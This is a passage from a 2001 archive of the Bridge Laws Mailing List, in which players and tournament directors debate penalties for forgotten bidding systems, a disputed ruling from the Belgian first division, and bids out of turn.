Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: [BLML] Automatic Penalties for Forgetting System Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I am writing this in response to a few incidents I came accross this weekend, and I am in no manner advocating the subject line. Rather, I am writing this in response to people, mostly non-TDs, who are suggesting this. Let me first tell you about the incidents. The first was on our regular friday night. I had already been called twice about the same pair, the same player actually. Once had he given a wrong explanation, the second time he had misbid. Neither case had warrented a score adjustment, but it had set bad blood. The third occurence was when he played at my table. Again a wrong bid, and although we were damaged, no reason for a score adjustment. I decided to give him a 3IMP fine, which he accepted without complaints. Other people later questioned that fine, saying I was driving him away. (not an argument that would sway me). The second set of incidents was when I was directing the Belgian first division teams championships on saturday. With only twelve tables, with screens, and 2 TDs, you might believe we would be reduced to our usual role of overqualified caddies. Not so. We had six ethical cases, but in five of those we had to rule "misbid, no infraction". Of course we always considered the infraction of the misbidder also misexplaining his own bid, but those were all without damage. One of the cases set some particular bad blood and I was starting to pray for zero tolerance policies, can you imagine ? Anyway, would this be enough to start advocating automatic penalties for the forgetting of system ? The current Laws do cater for this. Forgetting the system is certainly paying insufficient attention to the game, and this disconcerts the opponents. Surely matters of courtesy (such as this is) can be regulated by the SO, and automatic penalties, well announced, fall within the current set of Laws. However, would this solve the problem ? Mind you, I don't believe there is a problem, but certainly the players do. But does it need solving ? And would penalties solve it ? First of all, I don't believe penalties would solve the problem. The NOs are asking for a redress of some perceived damage, and penalties to the OS will not cater for that. And secondly, I believe the penalties would create problems of their own. Usually, when the misbid comes with its own penalty, in the form of a bad score, it would seem overly harsh to apply an additional penalty. This would make that NOs would hesitate in calling the TD, never a good thing. Or it would induce certain NOs to call, only to see their opponents get an additional penalty, which would set bad blood over and above the need. Finally, what about draconian penalties (cutting off fingers for instance) ? Those would certainly stifle system development and make for a different game altogether. So once again, I am NOT in favour of the proposal in this subject line. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 20:23:18 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0F9Mit29656 for bridge-laws-outgoing; Mon, 15 Jan 2001 20:22:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.asn-linz.ac.at (mail.asn-linz.ac.at [193.170.68.251]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0F9MWt29652 for ; Mon, 15 Jan 2001 20:22:37 +1100 (EST) Received: from petrus ([10.90.16.33]) by mail.asn-linz.ac.at (8.9.3/8.9.3) with SMTP id KAA16692 for ; Mon, 15 Jan 2001 10:20:27 +0100 (MET) Message-Id: <200101150920.KAA16692@mail.asn-linz.ac.at> Date: Mon, 15 Jan 2001 10:24:06 +0100 To: BLML From: Petrus Schuster OSB Subject: Re: [BLML] Let's get back to the easy stuff X-Mailer: Opera 5.00 build 828 X-Priority: 3 (Normal) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk 15.01.01 02:05:22, David Stevenson wrote: > Too many posts have seemed too complex to me, so here is a query that >is easy enough from a NZ correspondent. > > Dealer South, North bids out of turn, not accepted, so South is >silenced. Are there any constraints on North's bidding? > L16C2 seems to apply: S may not make any call that is made more attractive by the knowledge that N has whatever his COOT has shown. I must admit that I prefer the state of the Laws prior to '97: now, NS seem to have almost no chance to land in a reasonable contract. cheers, Petrus -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 21:23:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FAMw129736 for bridge-laws-outgoing; Mon, 15 Jan 2001 21:22:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FAMqt29732 for ; Mon, 15 Jan 2001 21:22:53 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0FAMfB04671 for bridge-laws@rgb.anu.edu.au; Mon, 15 Jan 2001 10:22:41 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Mon, 15 Jan 2001 10:22 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Your opinion pls. To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <003401c07e52$6d10a7c0$33daa2c3@upc.chello.be> hans.gelders@chello.be wrote: > > Hi all, > > I always read with great interest the discussions in this group about > difficult decisions for TD's. So I wanted > to ask your opinion about a decision a TD made yesterday in the > penultimate day of the teams-competition, first division Belgium. > This was the board (All vul, North dealer, the '_____'' indicates the > screen. > > North > S: 4 > H: AK52 > D: Q642 > C: KQ76 > > East > S:752 > H:Q8 > D:AJ983 > C:AJ9 > ____________________ > West > S: AKQJ96 > H: J74 > D: K1075 > C:- > > South > S: 1075 > H: 10963 > D: - > C: 1085432 > > My partner led a spade and called immediately > the TD when dummy hit the table, explaining to the TD > what happened. Then we played the board, however the TD stayed at our > table. We took our 4 obvious tricks > for +500. But we asked the TD to change this result > as North never can make 9 tricks in hearts, you can even do nap in > defence. The TD did not agree and did not change the score. I also do not agree. I cannot find a way for the defence to take 5 tricks against hearts after the SA lead. I do not consider any other lead at all likely. Declarer wins the continuation and plays on clubs. I may have missed the best defensive line but I would have to ask you what it was before adjusting. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 21:45:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FAj1004524 for bridge-laws-outgoing; Mon, 15 Jan 2001 21:45:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from batman.npl.co.uk (batman.npl.co.uk [139.143.5.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FAist04520 for ; Mon, 15 Jan 2001 21:44:55 +1100 (EST) Received: from herschel.npl.co.uk ([139.143.1.16]) by batman.npl.co.uk (8.11.0/8.11.0) with ESMTP id f0FAikf08947 for ; Mon, 15 Jan 2001 10:44:46 GMT Received: (from root@localhost) by herschel.npl.co.uk (8.11.0/8.11.0) id f0FAijI11835 for ; Mon, 15 Jan 2001 10:44:45 GMT Received: by herschel.npl.co.uk XSMTPD/VSCAN; Mon, 15 Jan 2001 10:44:45 GMT Received: from tempest.npl.co.uk (tempest [139.143.18.16]) by capulin.cise.npl.co.uk (8.9.3/8.9.3) with ESMTP id KAA01314 for ; Mon, 15 Jan 2001 10:44:44 GMT Received: (from rmb1@localhost) by tempest.npl.co.uk (8.9.1b+Sun/8.9.1) id KAA29960 for bridge-laws@rgb.anu.edu.au; Mon, 15 Jan 2001 10:44:44 GMT Date: Mon, 15 Jan 2001 10:44:44 GMT From: Robin Barker Message-Id: <200101151044.KAA29960@tempest.npl.co.uk> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Let's get back to the easy stuff X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > Too many posts have seemed too complex to me, so here is a query that > is easy enough from a NZ correspondent. > > Dealer South, North bids out of turn, not accepted, so South is > silenced. Are there any constraints on North's bidding? I'm not sure about NZ, but in England if North had openned a multi 2D he may not now bid his major suit shortage :-) Robin -- Robin Barker | Email: Robin.Barker@npl.co.uk CMSC, Building 10, | Phone: +44 (0) 20 8943 7090 National Physical Laboratory, | Fax: +44 (0) 20 8977 7091 Teddington, Middlesex, UK. TW11 OLW | WWW: http://www.npl.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 22:07:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FB6st06602 for bridge-laws-outgoing; Mon, 15 Jan 2001 22:06:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FB6lt06562 for ; Mon, 15 Jan 2001 22:06:47 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0FB6dD29959 for bridge-laws@rgb.anu.edu.au; Mon, 15 Jan 2001 11:06:39 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Mon, 15 Jan 2001 11:06 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Automatic Penalties for Forgetting System To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <3A62B423.A419D571@village.uunet.be> If possible I would like my opponents to *always* forget their system (and if they could lead the wrong thing, misplay contracts, and forget to double my overbids that would be nice too). Any regulation that encouraged them to play better would be significantly against my interests. So even if automatic penalties have the intended effect (they probably won't) they would still be a bad thing. Casual partnerships and novices will suffer the penalties discouragingly often - also a bad thing IMO. Put me down for the loudest possible *NO*. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 22:31:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FBUdg13947 for bridge-laws-outgoing; Mon, 15 Jan 2001 22:30:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from thorium.uunet.be (thorium.uunet.be [194.7.1.46]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FBUVt13900 for ; Mon, 15 Jan 2001 22:30:32 +1100 (EST) Received: from village.uunet.be (uu212-190-1-14.unknown.uunet.be [212.190.1.14]) by thorium.uunet.be (8.9.1/8.9.1) with ESMTP id MAA27234; Mon, 15 Jan 2001 12:30:24 +0100 (CET) Message-ID: <3A62BF2F.37107955@village.uunet.be> Date: Mon, 15 Jan 2001 10:13:19 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Gelders Hans , Bridge Laws Subject: Re: [BLML] Your opinion pls. References: <003401c07e52$6d10a7c0$33daa2c3@upc.chello.be> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Gelders Hans wrote: > > P.S: The TD was Herman Dewael > some comments from the TD : > Hi all, > > I always read with great interest the discussions in this group about > difficult decisions for TD's. So I wanted > to ask your opinion about a decision a TD made yesterday in the > penultimate day of the teams-competition, first division Belgium. > This was the board (All vul, North dealer, the '_____'' indicates the > screen. > > North > S: 4 > H: AK52 > D: Q642 > C: KQ76 > > East > S:752 > H:Q8 > D:AJ983 > C:AJ9 > ____________________ > West > S: AKQJ96 > H: J74 > D: K1075 > C:- > > South > S: 1075 > H: 10963 > D: - > C: 1085432 > > North opened the bidding with 2C, alerted and explained > as a three-suiter, unknown singleton, 12-16 or a two-suiter in the > minors, also 12-16. East passed, South bid > 2H (alerted and explained as to play if partner held hearts) and I bid 3 > spades. LHO passed and partner raised till 4S. South bid 5C, I passed, > LHO passed and > partner, East, doubled. When the tray came back RHO did not pass but > took immediately all his bidding cards away. Distracted I also took my > bidding-cards (I of course had to pass and to ask my RHO to put his > cards back on the tray (in the correct order of course), however this > could not be done without a time delay and some noise). I was called from the other side of the table, where all they told me was that the tray had come back without bidding cards. The sequence of events at Hans' side, as described above, was not established at the table. Hans did not tell me at the table that it was his RHO who had acted as described above, so I cannot tell you what his opponent would have said as to this story. I tried to establish a sequence of events but could not do so. I am sorry to have to say this Hans, but perhaps you are embellishing. > Anyway, when the > tray was passed to opener he started to think. In fact, I saw his > problem: he thought that his partner wanted to save in 5 hearts when > opener had a three-suiter and in 5C when partner had two-suiter in the > minors. After some 30 seconds my > RHO, who was on my side of the screen, said something like:"Please > partner, let's play on" (my RHO wanted of course to play 5C, not 5H.). > I had the impression that my LHO had not heard this quiet remark. So, > some 30 seconds later, my RHO made an other remark, this time > rather clear: 'Please partner, let's take this 1100 and go > on'. Do you expect -1100 with the South-hand. Anyway, his partner still > did not pass. So another 30 seconds later > my RHO looked under the tray to his partner, this time > stating "Pls partner, don't bid. If you bid our opponents > are going to call the TD". So now North woke up and > passed. > My partner led a spade and called immediately > the TD when dummy hit the table, explaining to the TD > what happened. Another small piece of embellishment, the time frame nor the exact wording as written above being well explained to me at the table. I have no reason to question this account, but it was not described as such at the table. I was told of one remark, and believed I needed to focus more on the UI of the tray coming back empty. > Then we played the board, however the TD stayed at our > table. We took our 4 obvious tricks > for +500. But we asked the TD to change this result > as North never can make 9 tricks in hearts, you can even do nap in > defence. The TD did not agree and did not change the score. When we > asked why he explained that there were two reasons. > 1. I need to pass to have still some rights, I lost my rights > by taking away my bidding cards. That my RHO had > influenced me by taking his bidding cards (before me) > was of no importance. > 2. My partner (or I) had to call the TD before > dummy hit the table. > I was very much surprised by these explanations. > Everybody knows that the bidding laws are a complete > mess ( the many different points of view in this group tell it all). > Nevertheless some common sense can not be asked to much. > > Thanks and kind regards, > > Hans Gelders > -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 23:48:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FClTe11602 for bridge-laws-outgoing; Mon, 15 Jan 2001 23:47:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hood.tvd.be (hood.tvd.be [195.162.196.21]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FClMt11563 for ; Mon, 15 Jan 2001 23:47:22 +1100 (EST) Received: from p166 (cable-195-162-218-51.upc.chello.be [195.162.218.51]) by hood.tvd.be (8.9.3/8.9.3/RELAY-1.1) with SMTP id NAA19697; Mon, 15 Jan 2001 13:47:13 +0100 (MET) Message-ID: <000f01c07ef0$1c92afc0$33daa2c3@upc.chello.be> From: "Gelders Hans" To: "Herman De Wael" , "Bridge Laws" References: <003401c07e52$6d10a7c0$33daa2c3@upc.chello.be> <3A62BF2F.37107955@village.uunet.be> Subject: Re: [BLML] Your opinion pls. Date: Mon, 15 Jan 2001 13:38:49 +0100 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hi, Do you call me a liar Herman? Another small piece of embellishment? There were quite a number of people kibitzing at my side of the screen. You know them almost all, I think. Please inform yourself decently before making such idiot remarks. And further, it's normal that the person who called the TD explains the problem. I at least tried 3 times to intervene and you basically said : "Shut up". I consider to make an official complaint as your decisions are always going in the same direction. Just for the members of this group: the 4NT bid that suddenly meant that the first bid was wrong was also in one of our matches (at our partners table). Did you check the systemcard of opponents? Such strange bids MUST be mentioned on the system card. If this was not case it means that the good player of the pair did understand that his partner had missed with his 3NT-bid. Is this player allowed to use such UI to pass on 4NT? If 4NT as stop bid is not mentioned on the system-card, you don't have right to believe our opponents. Kind Regards, Hans Gelders ----- Oorspronkelijk bericht ----- Van: "Herman De Wael" Aan: "Gelders Hans" ; "Bridge Laws" Verzonden: maandag 15 januari 2001 10:13 Onderwerp: Re: [BLML] Your opinion pls. > > > Gelders Hans wrote: > > > > P.S: The TD was Herman Dewael > > > > some comments from the TD : > > > Hi all, > > > > I always read with great interest the discussions in this group about > > difficult decisions for TD's. So I wanted > > to ask your opinion about a decision a TD made yesterday in the > > penultimate day of the teams-competition, first division Belgium. > > This was the board (All vul, North dealer, the '_____'' indicates the > > screen. > > > > North > > S: 4 > > H: AK52 > > D: Q642 > > C: KQ76 > > > > East > > S:752 > > H:Q8 > > D:AJ983 > > C:AJ9 > > ____________________ > > West > > S: AKQJ96 > > H: J74 > > D: K1075 > > C:- > > > > South > > S: 1075 > > H: 10963 > > D: - > > C: 1085432 > > > > North opened the bidding with 2C, alerted and explained > > as a three-suiter, unknown singleton, 12-16 or a two-suiter in the > > minors, also 12-16. East passed, South bid > > 2H (alerted and explained as to play if partner held hearts) and I bid 3 > > spades. LHO passed and partner raised till 4S. South bid 5C, I passed, > > LHO passed and > > partner, East, doubled. When the tray came back RHO did not pass but > > took immediately all his bidding cards away. Distracted I also took my > > bidding-cards (I of course had to pass and to ask my RHO to put his > > cards back on the tray (in the correct order of course), however this > > could not be done without a time delay and some noise). > > I was called from the other side of the table, where all > they told me was that the tray had come back without bidding > cards. The sequence of events at Hans' side, as > described above, was not established at the table. Hans did > not tell me at the table that it was his RHO who had acted > as described above, so I cannot tell you what his opponent > would have said as to this story. > I tried to establish a sequence of events but could not do > so. > I am sorry to have to say this Hans, but perhaps you are > embellishing. > > > Anyway, when the > > tray was passed to opener he started to think. In fact, I saw his > > problem: he thought that his partner wanted to save in 5 hearts when > > opener had a three-suiter and in 5C when partner had two-suiter in the > > minors. After some 30 seconds my > > RHO, who was on my side of the screen, said something like:"Please > > partner, let's play on" (my RHO wanted of course to play 5C, not 5H.). > > I had the impression that my LHO had not heard this quiet remark. So, > > some 30 seconds later, my RHO made an other remark, this time > > rather clear: 'Please partner, let's take this 1100 and go > > on'. Do you expect -1100 with the South-hand. Anyway, his partner still > > did not pass. So another 30 seconds later > > my RHO looked under the tray to his partner, this time > > stating "Pls partner, don't bid. If you bid our opponents > > are going to call the TD". So now North woke up and > > passed. > > My partner led a spade and called immediately > > the TD when dummy hit the table, explaining to the TD > > what happened. > > Another small piece of embellishment, the time frame nor the > exact wording as written above being well explained to me at > the table. I have no reason to question this account, but it > was not described as such at the table. I was told of one > remark, and believed I needed to focus more on the UI of the > tray coming back empty. > > > Then we played the board, however the TD stayed at our > > table. We took our 4 obvious tricks > > for +500. But we asked the TD to change this result > > as North never can make 9 tricks in hearts, you can even do nap in > > defence. The TD did not agree and did not change the score. When we > > asked why he explained that there were two reasons. > > 1. I need to pass to have still some rights, I lost my rights > > by taking away my bidding cards. That my RHO had > > influenced me by taking his bidding cards (before me) > > was of no importance. > > 2. My partner (or I) had to call the TD before > > dummy hit the table. > > I was very much surprised by these explanations. > > Everybody knows that the bidding laws are a complete > > mess ( the many different points of view in this group tell it all). > > Nevertheless some common sense can not be asked to much. > > > > Thanks and kind regards, > > > > Hans Gelders > > > > -- > Best wishes for the New Millennium !! > Herman DE WAEL > Antwerpen Belgium > http://www.gallery.uunet.be/hermandw/index.html > > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 23:58:33 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FCwNq13741 for bridge-laws-outgoing; Mon, 15 Jan 2001 23:58:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hood.tvd.be (hood.tvd.be [195.162.196.21]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FCwHt13736 for ; Mon, 15 Jan 2001 23:58:17 +1100 (EST) Received: from p166 (cable-195-162-218-51.upc.chello.be [195.162.218.51]) by hood.tvd.be (8.9.3/8.9.3/RELAY-1.1) with SMTP id NAA21291; Mon, 15 Jan 2001 13:58:13 +0100 (MET) Message-ID: <002c01c07ef1$a5b9a8c0$33daa2c3@upc.chello.be> From: "Gelders Hans" To: , References: Subject: Re: [BLML] Your opinion pls. Date: Mon, 15 Jan 2001 13:49:48 +0100 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hi Tim, Leading a spade? That's madness! Don't forget that a. the weak hand plays in hearts. b. that I know the complete distribution of the strong hand. You may guess once what I'm going to lead. (the spade-trick is really not going to disappear). Kind regards, Hans ----- Oorspronkelijk bericht ----- Van: "Tim West-meads" Aan: CC: Verzonden: maandag 15 januari 2001 11:22 Onderwerp: Re: [BLML] Your opinion pls. > In-Reply-To: <003401c07e52$6d10a7c0$33daa2c3@upc.chello.be> > hans.gelders@chello.be wrote: > > > > Hi all, > > > > I always read with great interest the discussions in this group about > > difficult decisions for TD's. So I wanted > > to ask your opinion about a decision a TD made yesterday in the > > penultimate day of the teams-competition, first division Belgium. > > This was the board (All vul, North dealer, the '_____'' indicates the > > screen. > > > > North > > S: 4 > > H: AK52 > > D: Q642 > > C: KQ76 > > > > East > > S:752 > > H:Q8 > > D:AJ983 > > C:AJ9 > > ____________________ > > West > > S: AKQJ96 > > H: J74 > > D: K1075 > > C:- > > > > South > > S: 1075 > > H: 10963 > > D: - > > C: 1085432 > > > conduct committee in full possession of everyone's testimony> > > > My partner led a spade and called immediately > > the TD when dummy hit the table, explaining to the TD > > what happened. Then we played the board, however the TD stayed at our > > table. We took our 4 obvious tricks > > for +500. But we asked the TD to change this result > > as North never can make 9 tricks in hearts, you can even do nap in > > defence. The TD did not agree and did not change the score. > > I also do not agree. I cannot find a way for the defence to take 5 tricks > against hearts after the SA lead. I do not consider any other lead at all > likely. Declarer wins the continuation and plays on clubs. I may have > missed the best defensive line but I would have to ask you what it was > before adjusting. > > Tim West-Meads > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 00:41:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FDfIp13804 for bridge-laws-outgoing; Tue, 16 Jan 2001 00:41:18 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FDf8t13800 for ; Tue, 16 Jan 2001 00:41:08 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id OAA07865; Mon, 15 Jan 2001 14:38:32 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id OAA06230; Mon, 15 Jan 2001 14:40:53 +0100 (MET) for Message-Id: <3.0.6.32.20010115145308.0082ae80@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 15 Jan 2001 14:53:08 +0100 To: Petrus Schuster OSB , BLML From: alain gottcheiner Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: <200101150920.KAA16692@mail.asn-linz.ac.at> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:24 15/01/01 +0100, Petrus Schuster OSB wrote: >15.01.01 02:05:22, David Stevenson wrote: > >> Too many posts have seemed too complex to me, so here is a query that >>is easy enough from a NZ correspondent. >> >> Dealer South, North bids out of turn, not accepted, so South is >>silenced. Are there any constraints on North's bidding? AG : no, there aren't. If North wants to gamble, he may. Once in a dozen times he will get a good score, and that is that (laws 12B, 72A5) ; in the other cases he will have to pay for his inadvertency. If North thinks it is optimal for him to be careful and hope his side can't make anything, he may. Same cansequencies. Don't forget to apply law 26B when needed. >L16C2 seems to apply: S may not make any call that is made more attractive by >the knowledge that N has whatever his COOT has shown. AG : no, it doesn't. S may not make any call, full stop. North's options are not restricted by any law (law 23 may apply, but be careful before invoking it). A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 00:55:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FDsOg13829 for bridge-laws-outgoing; Tue, 16 Jan 2001 00:54:24 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FDsHt13825 for ; Tue, 16 Jan 2001 00:54:18 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id OAA19505; Mon, 15 Jan 2001 14:50:02 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id OAA15998; Mon, 15 Jan 2001 14:54:00 +0100 (MET) for Message-Id: <3.0.6.32.20010115150615.00830c10@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 15 Jan 2001 15:06:15 +0100 To: Herman De Wael , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] Escape sequences In-Reply-To: <3A62B837.C5A1EBEE@village.uunet.be> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 09:43 15/01/01 +0100, you wrote: >One of the "misbids" in the Belgian first division that I >told you about in the thread "Automatic Penalties" was the >following : > > 2NT 3NT > 4Sp 4NT > pass > >3NT showed 5 spades and 4 hearts, and when the tray came >back with 4Sp, the bidder realised he'd made a mistake and >told his opponent. He bid 4NT and said to his screenmate >"to pass". >On the other side of the screen, 4NT was explained as >"partner has forgotten again". > >As I said, I ruled "no infractions" (apart from the original >misexplanation of 3NT on one side, from which there was no >damage). > >But are such escape sequences legal ? AG : in this very specific case (but most aren't as obvious), no UI filtered. It is obvious to responder that a wheel came loose. Partner's bidding makes it obvious, and he has the right to take partner's bids into account. And he didn't see partner's alert. He is allowed to do whatever he wishes. But the opener's strategy is strange : here we see a player who thinks it better to assume partner has forgotten his system, rather than that he has slam ambition and is BWing, DIing or whatever. Anyway, he takes his guess, and there is nothing tu suggest he has been helped in his decision. Of course, if the 4NT bid was audibly slammed, it is a horse of a very different color (slamming is less slammish, huh ?). Same if there was a long time before 4NT came back, or if some burble was audible from the ther side of the screen. There is a minor infraction : the right explanation was not 'to play', but 'to play, because I don't have what I've bid'. Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 01:05:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FE51713852 for bridge-laws-outgoing; Tue, 16 Jan 2001 01:05:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) 